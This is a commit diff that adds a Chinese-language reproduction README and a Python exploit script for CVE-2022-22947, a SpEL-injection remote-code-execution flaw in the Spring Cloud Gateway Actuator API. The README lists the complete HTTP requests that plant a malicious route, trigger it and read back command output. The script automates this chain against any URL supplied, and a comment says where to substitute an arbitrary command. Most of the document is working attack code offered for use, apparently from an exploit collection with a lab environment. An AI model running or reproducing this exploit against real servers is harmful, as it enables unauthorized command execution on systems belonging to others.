add Spring Cloud Gateway CVE-2022-22947 exp

21-Spring Cloud/Spring Cloud Gateway CVE-2022-22947/README.md

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+# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）
+
+Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。
+
+
+## 漏洞环境
+
+执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务：
+
+```
+docker-compose up -d
+```
+
+服务启动后，访问`http://your-ip:8080`即可看到演示页面，这个页面的上游就是example.com。
+
+## 漏洞复现
+
+
+1. 首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：
+
+```
+POST /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/json
+Content-Length: 328
+
+{
+  "id": "hacktest",
+  "filters": [{
+    "name": "AddResponseHeader",
+    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
+  }],
+"uri": "http://example.com",
+"order": 0
+}
+```
+![image1](images/1.png)
+
+2. 发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：
+
+```
+POST /actuator/gateway/refresh HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+```
+
+![image1](images/2.png)
+
+3. 发送如下数据包即可查看执行结果：
+
+```
+GET /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+```
+
+![image1](images/3.png)
+
+4. 最后，发送如下数据包清理现场，删除所添加的路由：
+
+```
+DELETE /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+```
+![image1](images/4.png)

21-Spring Cloud/Spring Cloud Gateway CVE-2022-22947/spring_cloud_RCE.py

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+import requests
+import json
+import sys
+
+
+def exec(url):
+
+    headers1 = {
+        'Accept-Encoding': 'gzip, deflate',
+        'Accept': '*/*',
+        'Accept-Language': 'en',
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
+        'Content-Type': 'application/json'
+    }
+
+    headers2 = {
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
+        'Content-Type': 'application/x-www-form-urlencoded'
+    }
+
+    ## command to execute replace "id" in payload
+
+    payload = '''{\r
+      "id": "hacktest",\r
+      "filters": [{\r
+        "name": "AddResponseHeader",\r
+        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
+        }],\r
+      "uri": "http://example.com",\r
+      "order": 0\r
+    }'''
+
+
+
+
+    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
+    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
+    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
+    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
+    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
+    print(re3.text)
+
+
+if __name__ == "__main__":
+  print('''  CVE-2022-22947 exploit
+
+  usage: python3 test.py url
+''')
+  if(len(sys.argv)>1):
+    url = sys.argv[1]
+    exec(url)
+  else:
+    exit()